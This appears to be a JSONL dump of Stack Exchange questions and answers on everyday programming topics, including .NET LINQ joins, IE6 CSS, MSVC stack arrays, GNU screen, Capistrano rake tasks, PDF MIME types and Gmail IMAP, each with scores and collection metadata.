{"id": "hf_d7880beedee5", "question": "<p>I have a system that creates an order and that order can be billed to a house account, sent Cash on Delivery (COD), or charged to a credit card.  I've created the following tables:</p>\n\n<p>ORDERS<br/>\norder_id<br/>\nbillingoption_id</p>\n\n<p>BILLINGOPTIONS<br/>\nbillingoption_id<br/></p>\n\n<p>I'm unsure of how the next table should be built for the billing data.  Should I build a separate table for each type of billing option (ie. COD, Credit Cards, and House Account)?  Then would I have another foreign key column on the Orders table that would refer to a record for the billing data?</p>\n", "question_body": "", "answer": "Focus on things.  Actual things.  Try to describe things simply, directly, and in natural language first.\nThen, when you ask for design guidance, you can provide definitions.  In some cases, the act of writing definitions will make the design crystalize.\nOrders\nare things.  What are the attributes of an order?  Customer, Product, Payment/Billing options.\nBilling Options\nare (almost) things.  You can, apparently, define and identify them.  (I'm not sure I could.  From your question, it appears that you might be able to.  But without a one-sentence summary, I'm not sure what's going on with Billion Options.\nWhat's a \"billing data?\"  What kind of thing is this?  What attributes (or properties) does it have?\nHow does a \"Billing Data\" relate to an Order?  How does it relate to a Billing Option?\nFeel free to update the question with definitions for each thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.153455"}
{"id": "hf_b60b40ce2e78", "question": "<p>I have two tables in a DataSet in .NET. I want to join them on an ID column. Then I want a DataGridView to display two columns from the first table and one column from the second table.</p>\n\n<p>If it makes it easier, the relation between the two tables is one-to-one.</p>\n\n<p>Can it be done?</p>\n", "question_body": "", "answer": "Well, is it read only? In .NET 3.5 / C# 3.0 you could probably use a LINQ join and an anonymous output type pretty easily:\n```\n```\nDataTable left = new DataTable\n        {\n            Columns = { {\"PK\", typeof(int)}, {\"Name\", typeof(string)}},\n            Rows = {{1,\"abc\"},{2,\"def\"}}\n        }, right = new DataTable\n        {\n            Columns = { { \"FK\", typeof(int) }, { \"Value\", typeof(decimal) } },\n            Rows = { { 1, 123.45M }, { 2, 678.9M } }\n        };\n        var qry = from x in left.Rows.Cast<DataRow>()\n                  join y in right.Rows.Cast<DataRow>()\n                  on x.Field<int>(\"PK\") equals y.Field<int>(\"FK\")\n                  select new\n                  {\n                      Name = x.Field<string>(\"Name\"),\n                      Value = y.Field<decimal>(\"Value\")\n                  };\n        var data = qry.ToList();\n```\n```\nYou can then bind to \"Name\" and \"Value\" of data. Note it is easier with typed data-sets, since you can lose the\n```\nCast<>\n```\nand\n```\nField<>\n```\nrubbish.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.176080"}
{"id": "hf_1718d0852b8a", "question": "<p>I'd like a textbox that allows for certain text within to be \"constant\" and uneditable while the rest of the text is editable.  For instance, I'd like to define a template like this:</p>\n\n<pre><code>&lt;Name:&gt;[]\n&lt;Address:&gt;[] &lt;City&gt;:[]\n</code></pre>\n\n<p>So that the user could later enter:</p>\n\n<pre><code>&lt;Name:&gt;[Stefan]\n&lt;Address:&gt;[Nowhere] &lt;City&gt;:[Alaska]\n</code></pre>\n\n<p>But not:</p>\n\n<pre><code>&lt;I'm typing here lol:&gt;[Stefan]\n&lt;Address:&gt;[Nowhere] &lt;State&gt;:[Alaska]\n</code></pre>\n\n<p>Ideally, they wouldn't even be able to put their cursor in between the &lt;>, similar to Microsoft Word templates.</p>\n\n<p>Any ideas?  The masked textbox control seems to be along the right path, but isn't multiline and doesn't allow you to enter a variable number of characters in between the braces, for instance.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "I don't know of any ready-made components. But you could try this simple method.\nCreate a normal multi-line text box control\nCreate a regex-based template that has\n```\n(.*)\n```\nor\n```\n([a-z]*)\n```\nor whatever wherever you want the user to add text.\nWhenever the text is changed, checked if it still matches the regex. If it does, accept the chagne. If it doesn't, reject the change.\nYou can then use the same regex to extract your data from the text box.\nYou could even use a RichTextBox and use the regex to perform formatting.\nUpdate\nHere's what I wrote. It seems to work:\n```\n```\n[DefaultProperty(\"Regex\")]\npublic partial class MaskedEdit : UserControl\n{\n    private Regex regex = new Regex(\"\");\n    private bool myChange = false;\n\n    private string goodText;\n    private Font dataFont;\n\n    public MaskedEdit()\n    {\n        myChange = true;\n        InitializeComponent();\n        myChange = false;\n        dataFont = new Font(Font, FontStyle.Bold);\n        goodText = Text;\n    }\n\n    [Editor(\"System.ComponentModel.Design.MultilineStringEditor, System.Design\", typeof(UITypeEditor)), Localizable(true)]\n    [DefaultValue(\"\")]\n    public String Regex\n    {\n        get { return regex.ToString(); }\n        set\n        {\n            if (value != null)\n            {\n                regex = new Regex(value);\n            }\n        }\n    }\n\n    [EditorBrowsable(EditorBrowsableState.Always)]\n    [Browsable(true)] \n    [Editor(\"System.ComponentModel.Design.MultilineStringEditor, System.Design\", typeof(UITypeEditor)), Localizable(true)]\n    [DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)]\n    public override string Text\n    {\n        get { return rtf.Text; }\n        set {\n            int selSt = rtf.SelectionStart;\n            int selLen = rtf.SelectionLength;\n\n            rtf.Text = value;\n\n            rtf.SelectionStart = selSt;\n            rtf.SelectionLength = selLen;\n        }\n    }\n\n    private void rtf_TextChanged(object sender, EventArgs e)\n    {\n        if (myChange) return;\n        Match m = regex.Match(Text);\n        if (m.Success)\n        {\n            goodText = Text;\n            Colorize(m);\n        }\n        else\n        {\n            myChange = true;\n            Text = goodText;\n            myChange = false;\n            m = regex.Match(Text);\n            if (m.Success)\n            {\n                Colorize(m);\n            }\n        }\n    }\n\n    public IEnumerable<string> Data\n    {\n        get\n        {\n            Match m = regex.Match(Text);\n            bool first = true;\n            foreach (Group g in m.Groups)\n            {\n                if (first) { first = false; continue; }\n                yield return Text.Substring(g.Index, g.Length);\n            }\n        }\n    }\n\n    private void Colorize(Match m)\n    {\n        int selSt = rtf.SelectionStart;\n        int selLen = rtf.SelectionLength;\n\n        rtf.SelectionStart = 0;\n        rtf.SelectionLength = rtf.TextLength;\n        rtf.SelectionFont = Font;\n        bool first = true;\n        foreach (Group g in m.Groups)\n        {\n            if (first) { first = false; continue; }\n            rtf.SelectionStart = g.Index;\n            rtf.SelectionLength = g.Length;\n            rtf.SelectionFont = dataFont;\n        }\n\n        rtf.SelectionStart = selSt;\n        rtf.SelectionLength = selLen;\n    }\n\n    private void MaskedEdit_FontChanged(object sender, EventArgs e)\n    {\n        dataFont = new Font(Font, FontStyle.Bold);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.210480"}
{"id": "hf_77d3dffedafa", "question": "<p>is there any way to make IE6 understand double classes,\nsay I have a class MenuButton with a color class and possibly a clicked class;\nlike :</p>\n\n<pre><code>.LeftContent a.MenuButton {..general rules..}  \n.LeftContent a.MenuButton.Orange {..sets background-image..}  \n.LeftContent a.MenuButton.Clicked {...hum ta dum...}\n</code></pre>\n\n<p>Now, IE6 understands <code>&lt;a class=\"MenuButton Orange\"&gt;</code>, but when adding\nClicked, like <code>&lt;a class=\"MenuButton Orange Clicked\"&gt;</code>, IE just ignores the\nClicked rule.</p>\n\n<p>Of course, I could rewrite my CSS, and have own rules for .MenuButtonOrange<br>\nand such (and it'd probably taken a lot shorter time than asking this question ;-),<br>\nbut golly, it just so unappealing and Web 0.9...</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "IE6 doesn't support multiple class selectors. The reason you see a change with the\n```\nOrange\n```\nclass is because\n```\na.MenuButton.Orange\n```\nis interpreted by IE6 as\n```\na.Orange\n```\n.\nI recommend structuring your markup in such a way that you can work around this:\n```\n```\n<div class=\"leftcontent\">\n   <ul class=\"navmenu\">\n     <li><a class=\"menubutton orange\" href=\"#\">One</a></li>\n     <li><a class=\"menubutton orange clicked\" href=\"#\">Two</a></li>\n   </ul>\n</div>\n```\n```\nBy grouping by a more specific ancestor you can create variation with classes scoped by that ancestor (in this example\n```\nnavmenu\n```\n):\n```\n```\n.leftcontent .navmenu a { /* ... basic styles ... */ }\n.leftcontent .navmenu a.orange { /* ... extra orange ... */ }\n.leftcontent .navmenu a.clicked { /* ... bold text ... */ }\n```\n```\nIt's not as good as multiple classes, but I've used it to work around the lack of support in IE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.237120"}
{"id": "hf_222596235a8e", "question": "<p>I have a class Agent with a property Id</p>\n\n<p>Given a collection of Agents I need to check if any of them have duplicate Ids.</p>\n\n<p>I am currently doing this with a hash table but am trying to get Linq-ified, what's a good way of doing this?</p>\n", "question_body": "", "answer": "```\n```\nforeach(var agent in Agents) {\n    if(Agents.Count(a => a.ID == agent.ID) > 1)\n        Console.WriteLine(\"Found: {0}\", agent.ID);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.260165"}
{"id": "hf_0925b97a02a5", "question": "<p>i m trying to design a mmo game using python...</p>\n\n<p>I have evaluated stackless and since it is not the general python and it is a fork, i dont want to use it</p>\n\n<p>I am trying to chose between\npysage\ncandygram\ndramatis\nand\nparley</p>\n\n<p>any one try any of these libraries?</p>\n\n<p>Thanks a lot for your responses</p>\n", "question_body": "", "answer": "I would go for\npysage\n.\nIt has the highest level of abstraction and a lightweight messaging API which will give you lots of flexibility.   I would imagine when designing an MMO you will want as much flexibility as possible.\nIt also takes a page from Erlang's Actor model which is really solid.\nThat's great you are trying to build an MMO via python!  It has great OpenGL bindings when you want to add graphics which is great!\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.372763"}
{"id": "hf_8e096804703e", "question": "<p>I know how to do this using for loops.  Is it possible to do something like this using LINQ or lambdas?</p>\n\n<pre><code>int[] a = { 10, 20, 30 };\nint[] b = { 2, 4, 10 };\nint[] c = a * b; //resulting array should be { 20, 80, 300 }\n</code></pre>\n", "question_body": "", "answer": "You can do something like this:\n```\n```\nint[] a = {10, 20, 30};\nint[] b = {2, 4, 10};\n\nif (a.Length == b.Length)\n{\n  int[] result = (from i in Enumerable.Range(0, a.Length)\n          let operation = a[i]*b[i]\n        select operation).ToArray();\n}\n```\n```\nBut I recommend you if you will work with matrices and more advanced mathematical topics to get a good Math library, like\nNMath\nor search for a\nMatrix class\nimplementation, there are many out there...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.394532"}
{"id": "hf_3cb504236e4c", "question": "<p>I have a simple function in which an array is declared with size\ndepending on the parameter which is int.</p>\n\n<pre><code>    void f(int n){\n        char a[n];\n    };\n\n    int main() {\n        return 0;\n    }\n</code></pre>\n\n<p>This piece of code compiles fine on <a href=\"http://en.wikipedia.org/wiki/G%2B%2B\" rel=\"noreferrer\">GNU C++</a>, but not on MSVC 2005.</p>\n\n<p>I get the following compilation errors:</p>\n\n<pre><code>    .\\main.cpp(4) : error C2057: expected constant expression\n    .\\main.cpp(4) : error C2466: cannot allocate an array of constant size 0\n    .\\main.cpp(4) : error C2133: 'a' : unknown size\n</code></pre>\n\n<p>What can I do to correct this?</p>\n\n<p>(I'm interested in making this work with MSVC,without using new/delete)</p>\n", "question_body": "", "answer": "Your method of allocating from the stack is a g++ extension. To do the equivalent under MSVC, you need to use _alloca:\n```\n```\nchar *a = (char *)_alloca(n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.443107"}
{"id": "hf_7e2ebf00ce8f", "question": "<p>Getting started with jquery and having trouble getting hello world type example going for asp.net mvc. I get a runtime error \"object expected\" when trying to load a page with this script. </p>\n\n<p>A. Where should script tags be placed in a master page?\nB. What might I be doing wrong? There are definitely \"a\" elements in my page?</p>\n\n<pre><code>&lt;script src=\"../Scripts/jquery-1.2.6.min.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\n\n            &lt;script src=\"../Scripts/jquery.corner.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\n\n            &lt;script type=\"text/javascript\"&gt;\n                $(document).ready(function() {\n                    $(\"a\").click(function(event) {\n                        alert(\"Thanks for visiting!\");\n                    });\n                });\n            &lt;/script&gt;\n</code></pre>\n", "question_body": "", "answer": "Hmmm ...\nTo answer your first question:  They should be put in the\n```\n<head>\n```\nelement.\nAlso, usually I use the\n'bind' method\nwhen sinking events in the DOM (like it looks like you're trying to do).\nSo, code would look like:\n```\n```\n$(document).ready(function()\n{\n    //  Bind each link to a handler:\n    $(\"a\").bind('click dblclick', function(event)\n    {\n         alert('click');\n    })\n});\n```\n```\nAlso, a few design tips (since you're working with something close to my heart (ASP.NET MVC with jQuery):\nAdd an extra 'ContentPlaceHolder' at the bottom of your master page's\n```\n<head>\n```\nelement.  This will allow you to have page specific javascript run in it's proper location:  in the 'head' section of the page, and it'll allow you to make page-specific javascript includes.\nIt'll look something like this:\n```\n```\n<asp:ContentPlaceHolder ID=\"HeadContent\" runat=\"server\" />\n</head>\n```\n```\nWhy is this useful?\nI'll tell you:  That jQuery rounded corners plugin you're using might only be used on a few pages -- why include it on every page?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.503655"}
{"id": "hf_316ceda960c6", "question": "<p>How would I go about implementation the queries required for pagination?</p>\n\n<p>Basically, when page 1 is requested, get the first 5 entries. For page 2, get the next 5 and so on.</p>\n\n<p>I plan to use this via the couchdb-python module, but that shouldn't make any difference to the implementation.</p>\n", "question_body": "", "answer": "This is what I have came up with so far - to get the ids of all posts, then retrieve the actual items for the first x number of IDs..\nIt's not terribly efficient, but more so than retrieving all the posts, then throwing most of the away. That said, to my surprise, it seemed to run quite quickly - I ran the\n```\nposthelper.page()\n```\nmethod 100 times and it took about 0.5 seconds.\nI didn't want to post this in the actual question, so it wouldn't influence the answers as much - here's the code:\n```\n```\nallPostsUuid = \"\"\"\nfunction(doc) {\nif(doc.type == 'post'){\n    emit(doc._id, null);\n}\n}\n\"\"\"\n\nclass PostsHelper:\n    def __init__(self):\n        server = Server(config.dbhost)\n        db = server[config.dbname]\n        return db\n\n    def _getPostByUuid(self, uuid):\n        return self.db.get(uuid)\n\n    def page(self, number = 1):\n        number -= 1 # start at zero offset\n        start = number * config.perPage\n        end = start + config.perPage\n\n        allUuids = [\n            x.key for x in self.db.query(allPostsUuid)\n        ]\n        ret = [\n            self._getPostByUuid(x) for x in allUuids[start : end]\n        ]\n\n        if len(ret) == 0:\n            raise Error404(\"Invalid page (%s results)\" % (len(allUuids)))\n        else:\n            return ret\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.527033"}
{"id": "hf_072a4fff97c5", "question": "<p>I am given an integer (lets call it x) and I need to generate an array of arrays, where each subarray is a list of elements which are one of a given set of integers, and the sum of all of the elements of each subarray is x. The array of arrays needs to contain all possible distinct subarrays of this form.</p>\n\n<p>For example, if x is 3 and the list of possible elements is {1, 2}, I'm looking to generate {{1, 2}, {2, 1}}.</p>\n\n<p>What would be the best way to go about doing this (in pseudocode or Java)? Is this 2D array the best way to store this type of data? I couldn't think of anything better, but I'm guessing there is something out there.</p>\n", "question_body": "", "answer": "Since you don't know the size of the \"subarrays,\" I suggest you use one of the collections from Java such as\n```\nArrayList<E>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.617492"}
{"id": "hf_129af4d11691", "question": "<p>I want to use part of the output of a command run from the command line in another xterm, or as part of a different command.  For instance:  </p>\n\n<pre><code>&gt; grep error error.log\nerror: can't find file ~/&lt;some very long path&gt;/thisfile\n</code></pre>\n\n<p>and I want to do this:</p>\n\n<pre><code>&gt;ls ~/&lt;some very long path&gt;/\n</code></pre>\n\n<p>I know two ways to do this:<br>\n1. copy <code>~/&lt;some very long path&gt;/</code> with the mouse.<br>\n2. use some combination of <code>head</code>/<code>tail</code>/<code>awk</code>/<code>sed</code>/<code>perl</code>/<code>cut</code>/etc... to extract only what I need from the output and then use <em>that</em> inside backticks.</p>\n\n<p>Is there any way to copy text without using the mouse?  The example that comes to mind is visual mode inside VIM, but I don't know how to do that inside the xterm.</p>\n", "question_body": "", "answer": "You can use GNU screen's copy and paste commands.\nQuick tutorial:\nOpen screen:\n```\nscreen\n```\n(or\n```\nscreen myprog my args here\n```\n)\nRun your program, producing output you want copied\nEnter copy mode:\nControl\n+\na\n+\n[\nMove your cursor to the start point\nHit\nEnter\nMove your cursor to the end point\nHit\nEnter\nPaste:\nControl\n+\na\n+\n]\nScreen is much more powerful than that (I use it to tab several virtual terminals without the need for a special terminal emulator, and also so that I don't loose my sessions when X crashes or something).  To get out of screen, simply end your shell session, or type\nCtrl\n+\na\n,\nCtrl\n+\n\\\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.640155"}
{"id": "hf_ba59031141bd", "question": "<p>I already have a deploy.rb that can deploy my app on my production server. </p>\n\n<p>My app contains a custom rake task (a .rake file in the lib/tasks directory). </p>\n\n<p>I'd like to create a cap task that will remotely run that rake task.</p>\n", "question_body": "", "answer": "```\n```\nrun(\"cd #{deploy_to}/current && /usr/bin/env rake `<task_name>` RAILS_ENV=production\")\n```\n```\nFound it with Google --\nhttp://ananelson.com/said/on/2007/12/30/remote-rake-tasks-with-capistrano/\nThe\n```\nRAILS_ENV=production\n```\nwas a gotcha -- I didn't think of it at first and couldn't figure out why the task wasn't doing anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.663507"}
{"id": "hf_1a7872be20ce", "question": "<p>When working with PDFs, I've run across the MIME types <code>application/pdf</code> and <code>application/x-pdf</code> among others. </p>\n\n<p>Is there a difference between these two types, and if so what is it? Is one preferred over the other?</p>\n\n<p>I'm working on a web app which must deliver huge amounts of PDFs and I want to do it the correct way, if there is one.</p>\n", "question_body": "", "answer": "The standard Media Type (formerly known as MIME types) is\n```\napplication/pdf\n```\n. The assignment is defined in\nRFC 3778, The application/pdf Media Type\n, referenced from the\nMedia Types registry\n.\nMedia Types are controlled by a standards body, The\nInternet Assigned Numbers Authority\n(IANA). This is the same organization that manages the root name servers and the IP address space.\nThe use of\n```\nx-pdf\n```\npredates the standardization of the Media Type for PDF. Media Types in the\n```\nx-\n```\nnamespace are considered experimental, just as those in the\n```\nvnd.\n```\nnamespace are considered vendor-specific.\n```\nx-pdf\n```\nmight be used for compatibility with old software.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.686662"}
{"id": "hf_f9d96a1ec850", "question": "<p>I want to know what's the difference between string and stream in c++, and what's stringstream?</p>\n", "question_body": "", "answer": "Very Informally: A string is a collection of characters, a stream is a tool to manipulate moving data around. A string stream is a c++ class that lets you use a string as the source and destination of data for a stream.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.733533"}
{"id": "hf_4c374a40714a", "question": "<p>Are there any good and easy to use options for sending secure email?  Why is this not commonplace?</p>\n", "question_body": "", "answer": "SMTP has extensions which support encryption which are supported by most vendors. The receiving server is required to have a certificate (not the sender). So configuring your outbound mail relay to insist upon encrypted connections and verify certificates will usually do it.\nIf you want to encrypt it as far as the end user, S/MIME or GPG are the two main options. S/MIME support is built into mail clients MS Outlook, Thunderbird and some others.\nHowever, there is still a significant problem of certificate management, which is a royal pain in the arse most of the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.757166"}
{"id": "hf_af4761e9f591", "question": "<p>How do I draw procedural graphics in a Vista Sidebar gadget?  </p>\n\n<p>I have a gadget that collects data over time and I want to draw animating graphs.  My current approach is to draw the graph with VML that I update from JScript on a timer tick.  Is this the best way?  Can I return bitmap bits from a DLL function as the srouce to an <code>&lt;IMG&gt;</code>?  Embed bitmap bits into the HTML itself (and again update it via JScript)?  I'd love to hear some ideas.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The way I currently do it is with Javascript and Adobe Flash Player communicating via the ExternalInterface in ActionScript. It seamlessly integrates local Javascript instances with an instance of a Flash Player and you can communicate just about anything between the two. You can use the fantastic drawing API in ActionScript and really get some power into you hands for charting or just embed some tools off the net.\nBut then, if the sandbox permits it, generating data by targeting DLLs would be great! I don't have anything functional at hand to test it, so I leave it to other contributors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.803463"}
{"id": "hf_2763d56a49e6", "question": "<p>I have been trying to find information on how to retrieve attachments from a gmail account in either python or PHP, I'm hoping that someone here can be of some help, thanks.</p>\n\n<p>Related:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/348630/how-can-i-download-all-emails-with-attachments-from-gmail\">How can I download all emails with attachments from Gmail?</a></li>\n</ul>\n", "question_body": "", "answer": "You will have to enable IMAP access to your GMail account (Settings → Forwarding and POP/IMAP), and then use\n```\nimaplib.IMAP4_SSL\n```\nto access it.\nUse the raw text of every message as an argument to\n```\nemail.message_from_string\n```\nin order to process any attachments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.832453"}
{"id": "hf_2d99ba9fb9e3", "question": "<p>On Vista, I got a problem with the application crash handler. Basically, if something unexpected occurs which cannot be captured by SEH, I get this pop-up window with \"The application stopped working\", blablabla, \"Close program/Debug program\" -- that is, after I disable the error reporting using the system control panel. With error reporting enabled, you would get a task dialog with search for solution online, close, debug.</p>\n\n<p>This is not so funny if it happens in automated tools, and I wonder whether there is a way to get rid of it <em>totally</em>, read, if my app crashes, it just crashes to the command line or disappears but does not bring up a dialog.</p>\n", "question_body": "", "answer": "Use\n```\n```\nSetErrorMode(SetErrorMode(0)|SEM_NOGPFAULTERRORBOX);\n```\n```\nBut I would suggest to install an exceptions handler which creates a dump so you can verify what happened. For example\ncrashrpt\n(or\nhere\n).\nSee also\nhttp://msdn.microsoft.com/en-us/library/ms680621(VS.85).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.866974"}
{"id": "hf_6e2a4c105f6f", "question": "<p>If we implement a stack using arrays in C++, what is the best way to reduce the chance of an overflow condition?  Also while keeping in mind the time-space trade off?</p>\n", "question_body": "", "answer": "Just resize your array when you get close to the \"overflow condition\", i.e. when the next element wouldn't fit any longer. Or use a\n```\nstd::vector\n```\n, which you can resize easily.\nNot sure, but you are aware of the\n```\nstd::stack\n```\nclass, which implements a stack which resizes automatically in C++?\n[EDIT] If you don't want to resize, but fail properly, throwing an exception is the best thing you can do. For example, you could define a\n```\nStackOverflowException\n```\nand throw it if there is no space left, so clients can react.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.890187"}
{"id": "hf_9feb8c69ee34", "question": "<p>I have a variable of type Hashmap<code>&lt;String,Integer</code>>.</p>\n\n<p>In this, the Integer value might have to go some manipulation depending upon the value of a flag variable. I did it like this...</p>\n\n<pre><code>Hashmapvariable.put( somestring,\n    if (flag_variable) {\n     //manipulation code goes here\n     new Integer(manipulated value);\n    } else {\n     new Integer(non-manipulated value);\n    }\n);\n</code></pre>\n\n<p>But I get an error: </p>\n\n<blockquote>\n  <p>Syntax error on token(s), misplaced\n  constructs.</p>\n</blockquote>\n\n<p>at the Hashmapvariable.put call.</p>\n\n<p>I also get another error</p>\n\n<blockquote>\n  <p>Syntax error on token \")\", delete this\n  token.</p>\n</blockquote>\n\n<p>at the final \");\" line. But I can't delete the \")\" - its the closing parentheses for the put method call.</p>\n\n<p>I don't get this. What mistake am I doing?</p>\n", "question_body": "", "answer": "You cannot place a statement in the method call.\nHowever, one option could be to make an method that returns a\n```\nInteger\n```\nsuch as:\n```\n```\nprivate Integer getIntegerDependingOnFlag(boolean flag)\n{\n    if (flag)\n        return new Integer(MANIPULATED_VALUE);\n    else\n        return new Integer(NON-MANIPULATED_VALUE);\n}\n```\n```\nThen, you can make a call like this:\n```\n```\nhashmap.put(someString, getIntegerDependingOnFlag(flag));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.974435"}
{"id": "hf_bd0559b7fd35", "question": "<p>Pretty much as the question asks. Answers preferably in pseudo code and referenced. The correct answer should value speed over simplicity.</p>\n", "question_body": "", "answer": "See\nIntersections of Rays, Segments, Planes and Triangles in 3D\n. You can find ways to triangulate polygons.\nIf you really need ray/polygon intersection, it's on 16.9 of\nReal-Time Rendering\n(13.8 for 2nd ed).\nWe first compute the intersection\n  between the ray and [the plane of the\n  ploygon]\n```\npie_p\n```\n, which is easily done\n  by replacing\n```\nx\n```\nby the ray.\n```\n```\nn_p DOT (o + td) + d_p = 0 <=> t = (-d_p - n_p DOT o) / (n_p DOT d)\n```\n```\nIf the denominator\n```\n|n_p DOT d| < epsilon\n```\n, where\n```\nepsilon\n```\nis very small\n  number, then the ray is considered\n  parallel to the polygon plane and no\n  intersection occurs. Otherwise, the\n  intersection point,\n```\np\n```\n, of the ray and\n  the polygon plane is computed:\n```\np = o + td\n```\n. Thereafter, the problem of\n  deciding whether\n```\np\n```\nis inside the\n  polygon is reduced from three to two\n  dimentions...\nSee the book for more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.997774"}
{"id": "hf_a94909643cf4", "question": "<p>I would like to know if you guys have any suggestions about debug levels when writing an application.</p>\n\n<p>I thought about 4 levels:</p>\n\n<p>0 : No Debug<br>\n1 : All inputs and outputs<br>\n2 : \"I am here\" notification from significant functions with main parameters<br>\n3 : All variables verbose</p>\n", "question_body": "", "answer": "Whatever you choose, there will be something you wanted to see which is just into the next level...\nI don't think there is a general answer to this question, because it's so dependent on what the application is doing.  Much like the oily pages in the Haynes manual (UK readers will know what I mean), I tend to find that you end up with heavy logging in the areas which have traditionally been troublesome, and almost none in the area which is going to cause you trouble\nnext\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.044758"}
